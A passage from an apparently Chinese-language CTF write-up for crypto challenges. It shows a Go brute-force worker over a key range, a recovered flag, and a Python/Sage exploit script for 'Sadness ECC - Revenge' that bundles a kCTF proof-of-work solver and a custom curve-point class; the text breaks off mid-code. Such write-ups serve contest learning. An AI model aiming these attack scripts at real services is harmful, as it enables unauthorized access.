runtime</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">GOMAXPROCS</span><span class="z-punctuation">(</span><span class="z-source">numWorkers</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> wg</span><span class="z-entity z-name z-type"> sync</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">WaitGroup</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> foundMutex</span><span class="z-entity z-name z-type"> sync</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Mutex</span></span> <span class="giallo-l"><span class="z-source"> outputFile</span><span class="z-punctuation">,</span><span class="z-source"> err</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> os</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Create</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;found_flags.txt&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> err</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-language"> nil</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Println</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[-] err:&quot;</span><span class="z-punctuation">,</span><span class="z-source"> err</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> return</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> defer</span><span class="z-source"> outputFile</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> totalWork</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Set</span><span class="z-punctuation">(</span><span class="z-source">kRange</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> chunkSize</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Div</span><span class="z-punctuation">(</span><span class="z-source">totalWork</span><span class="z-punctuation">,</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-storage z-type">int64</span><span class="z-punctuation">(</span><span class="z-source">numWorkers</span><span class="z-punctuation">)))</span></span> <span class="giallo-l"><span class="z-source"> currentK</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Set</span><span class="z-punctuation">(</span><span class="z-source">kStart</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> one</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> i</span><span class="z-keyword z-operator"> :=</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">;</span><span class="z-source"> i</span><span class="z-keyword z-operator"> &lt;</span><span class="z-source"> numWorkers</span><span class="z-punctuation">;</span><span class="z-source"> i</span><span class="z-keyword z-operator">++</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> workerKStart</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Set</span><span class="z-punctuation">(</span><span class="z-source">currentK</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> workerKEnd</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> i</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> numWorkers</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> workerKEnd</span><span class="z-keyword z-operator"> =</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Set</span><span class="z-punctuation">(</span><span class="z-source">kEnd</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span><span class="z-keyword"> else</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> workerKEnd</span><span class="z-keyword z-operator"> =</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">workerKStart</span><span class="z-punctuation">,</span><span class="z-source"> chunkSize</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> workerKEnd</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">workerKEnd</span><span class="z-punctuation">,</span><span class="z-source"> one</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> workerKStart</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Cmp</span><span class="z-punctuation">(</span><span class="z-source">kEnd</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &gt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Done</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword"> continue</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> go</span><span class="z-entity z-name z-function"> worker</span><span class="z-punctuation">(</span><span class="z-source">workerKStart</span><span class="z-punctuation">,</span><span class="z-source"> workerKEnd</span><span class="z-punctuation">,</span><span class="z-source"> pMinus1</span><span class="z-punctuation">,</span><span class="z-source"> r</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> &amp;</span><span class="z-source">wg</span><span class="z-punctuation">,</span><span class="z-source"> bar</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> &amp;</span><span class="z-source">foundMutex</span><span class="z-punctuation">,</span><span class="z-source"> outputFile</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> currentK</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">workerKEnd</span><span class="z-punctuation">,</span><span class="z-source"> one</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Wait</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Finish</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Println</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string z-punctuation z-definition z-string">[+] Results saved to found_flags.txt.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span></code></pre><pre class="giallo z-code"><code data-lang="plain"><span class="giallo-l"><span>idek{tks_f0r_ur_t1ck3t_xD}</span></span></code></pre><h2 id="sadness-ecc-revenge">Sadness ECC - Revenge</h2> <p>Revenge 换了更麻烦的 PoW, 糊一个解决 PoW 的代码段上去就行</p> <p>后续的做法没啥区别</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># bad ecc revenge exp.py</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># sage</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> pwn</span><span class="z-keyword"> import</span><span class="z-source"> remote</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> subprocess</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> ast</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> sage</span><span class="z-punctuation">.</span><span class="z-source">all</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># PoW</span></span> <span class="giallo-l"><span class="z-source">kctf_solver_code</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string">#!/usr/bin/env python3</span></span> <span class="giallo-l"><span class="z-string">import base64, os, secrets, socket, sys, hashlib</span></span> <span class="giallo-l"><span class="z-string">try:</span></span> <span class="giallo-l"><span class="z-string"> import gmpy2</span></span> <span class="giallo-l"><span class="z-string"> HAVE_GMP = True</span></span> <span class="giallo-l"><span class="z-string">except ImportError:</span></span> <span class="giallo-l"><span class="z-string"> HAVE_GMP = False</span></span> <span class="giallo-l"><span class="z-string">VERSION = &#39;s&#39;</span></span> <span class="giallo-l"><span class="z-string">MODULUS = 2**1279-1</span></span> <span class="giallo-l"><span class="z-string">def python_sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> exponent = (p + 1) // 4</span></span> <span class="giallo-l"><span class="z-string"> for i in range(diff):</span></span> <span class="giallo-l"><span class="z-string"> x = pow(x, exponent, p) ^ 1</span></span> <span class="giallo-l"><span class="z-string"> return x</span></span> <span class="giallo-l"><span class="z-string">def gmpy_sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> exponent = (p + 1) // 4</span></span> <span class="giallo-l"><span class="z-string"> for i in range(diff):</span></span> <span class="giallo-l"><span class="z-string"> x = gmpy2.powmod(x, exponent, p).bit_flip(0)</span></span> <span class="giallo-l"><span class="z-string"> return int(x)</span></span> <span class="giallo-l"><span class="z-string">def sloth_root(x, diff, p):</span></span> <span class="giallo-l"><span class="z-string"> if HAVE_GMP: return gmpy_sloth_root(x, diff, p)</span></span> <span class="giallo-l"><span class="z-string"> else: return python_sloth_root(x, diff, p)</span></span> <span class="giallo-l"><span class="z-string">def encode_number(num):</span></span> <span class="giallo-l"><span class="z-string"> size = (num.bit_length() // 24) * 3 + 3</span></span> <span class="giallo-l"><span class="z-string"> return str(base64.b64encode(num.to_bytes(size, &#39;big&#39;)), &#39;utf-8&#39;)</span></span> <span class="giallo-l"><span class="z-string">def decode_number(enc):</span></span> <span class="giallo-l"><span class="z-string"> return int.from_bytes(base64.b64decode(bytes(enc, &#39;utf-8&#39;)), &#39;big&#39;)</span></span> <span class="giallo-l"><span class="z-string">def decode_challenge(enc):</span></span> <span class="giallo-l"><span class="z-string"> dec = enc.split(&#39;.&#39;)</span></span> <span class="giallo-l"><span class="z-string"> if dec[0] != VERSION: raise Exception(&#39;Unknown challenge version&#39;)</span></span> <span class="giallo-l"><span class="z-string"> return list(map(decode_number, dec[1:]))</span></span> <span class="giallo-l"><span class="z-string">def encode_challenge(arr):</span></span> <span class="giallo-l"><span class="z-string"> return &#39;.&#39;.join([VERSION] + list(map(encode_number, arr)))</span></span> <span class="giallo-l"><span class="z-string">def solve_challenge(chal):</span></span> <span class="giallo-l"><span class="z-string"> [diff, x] = decode_challenge(chal)</span></span> <span class="giallo-l"><span class="z-string"> y = sloth_root(x, diff, MODULUS)</span></span> <span class="giallo-l"><span class="z-string"> return encode_challenge([y])</span></span> <span class="giallo-l"><span class="z-string">def main():</span></span> <span class="giallo-l"><span class="z-string"> if len(sys.argv) != 3 or sys.argv[1] != &#39;solve&#39;: sys.exit(1)</span></span> <span class="giallo-l"><span class="z-string"> challenge = sys.argv[2]</span></span> <span class="giallo-l"><span class="z-string"> solution = solve_challenge(challenge)</span></span> <span class="giallo-l"><span class="z-string"> sys.stdout.write(solution)</span></span> <span class="giallo-l"><span class="z-string">if __name__ == &quot;__main__&quot;:</span></span> <span class="giallo-l"><span class="z-string"> main()</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string">&quot;&quot;&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type">class</span><span class="z-entity z-name z-type"> DummyPoint</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> O</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> object</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __init__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> x</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation"> (</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-source"> y</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation"> (</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">,</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">_infinity</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> True</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> assert</span><span class="z-source"> DummyPoint</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isOnCurve</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y</span><span class="z-punctuation">), (</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-source"> y</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x</span><span class="z-punctuation">,</span><span class="z-source"> y</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">_infinity</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> False</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-decorator z-python"> @</span><span class="z-support z-type z-python">classmethod</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> infinity</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">cls</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> cls</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> is_infinity</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-support z-function z-builtin z-python"> getattr</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;_infinity&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-language z-python"> False</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-decorator z-python"> @</span><span class="z-support z-type z-python">staticmethod</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> isOnCurve</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">x</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation z-definition z-string z-string"> &quot;&lt;REDACTED&gt;&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __add__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">is_infinity</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">is_infinity</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> other</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # ——— Distinct‑points case ———</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> !=</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> !=</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> dy</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span></span> <span class="giallo-l"><span class="z-source"> dx</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> inv_dx</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator"> /</span><span class="z-source"> dx</span></span> <span class="giallo-l"><span class="z-source"> prod1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> dy</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_dx</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-source"> prod1</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> inv_s</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator"> /</span><span class="z-source"> s</span></span> <span class="giallo-l"><span class="z-source"> s3</span><span class="z-keyword z-operator"> =</span><span class="z-source"> inv_s</span><span class="z-keyword z-operator"> **</span><span class="z-constant z-numeric"> 3</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> d</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp1</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> d_minus</span><span class="z-keyword z-operator"> =</span><span class="z-source"> d</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> neg_three</span><span class="z-keyword z-operator"> = -</span><span class="z-constant z-numeric">3</span></span> <span class="giallo-l"><span class="z-source"> tmp2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> neg_three</span><span class="z-keyword z-operator"> *</span><span class="z-source"> d_minus</span></span> <span class="giallo-l"><span class="z-source"> tmp3</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp2</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_s</span></span> <span class="giallo-l"><span class="z-source"> sum_x</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> +</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> x_temp</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp3</span><span class="z-keyword z-operator"> +</span><span class="z-source"> s3</span></span> <span class="giallo-l"><span class="z-source"> x_pre</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_temp</span><span class="z-keyword z-operator"> -</span><span class="z-source"> sum_x</span></span> <span class="giallo-l"><span class="z-source"> x</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_pre</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp4</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x</span></span> <span class="giallo-l"><span class="z-source"> tmp5</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tmp4</span></span> <span class="giallo-l"><span class="z-source"> y_pre</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp5</span></span> <span class="giallo-l"><span class="z-source"> y</span><span class="z-keyword z-operator"> =</span><span class="z-source"> y_pre</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> dy_term</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> dy2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> dy_term</span><span class="z-keyword z-operator"> *</span><span class="z-source"> dy_term</span></span> <span class="giallo-l"><span class="z-source"> three_dy2</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 3</span><span class="z-keyword z-operator"> *</span><span class="z-source"> dy2</span></span> <span class="giallo-l"><span class="z-source"> inv_3dy2</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator"> /</span><span class="z-source"> three_dy2</span></span> <span class="giallo-l"><span class="z-source"> two_x</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 2</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> prod2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> two_x</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_3dy2</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-source"> prod2</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> inv_s</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator"> /</span><span class="z-source"> s</span></span> <span class="giallo-l"><span class="z-source"> s3</span><span class="z-keyword z-operator"> =</span><span class="z-source"> inv_s</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp6</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> d2</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp6</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> d2_minus</span><span class="z-keyword z-operator"> =</span><span class="z-source"> d2</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> tmp7</span><span class="z-keyword z-operator"> = -</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator"> *</span><span class="z-source"> d2_minus</span></span> <span class="giallo-l"><span class="z-source"> tmp8</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp7</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_s</span></span> <span class="giallo-l"><span class="z-source"> x_temp2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp8</span><span class="z-keyword z-operator"> +</span><span class="z-source"> s3</span></span> <span class="giallo-l"><span class="z-source"> x_pre2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_temp2</span><span class="z-keyword z-operator"> -</span><span class="z-source"> two_x</span></span> <span class="giallo-l"><span class="z-source"> x2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_pre2</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp9</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span></span> <span class="giallo-l"><span class="z-source"> tmp10</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tmp9</span></span> <span class="giallo-l"><span class="z-source"> y_pre2</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp10</span></span> <span class="giallo-l"><span class="z-source"> y2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> y_pre2</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __rmul__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> k</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-support z-function z-builtin z-python"> isinstance</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">k</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">)</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> k</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Choose another k&quot;</span><span 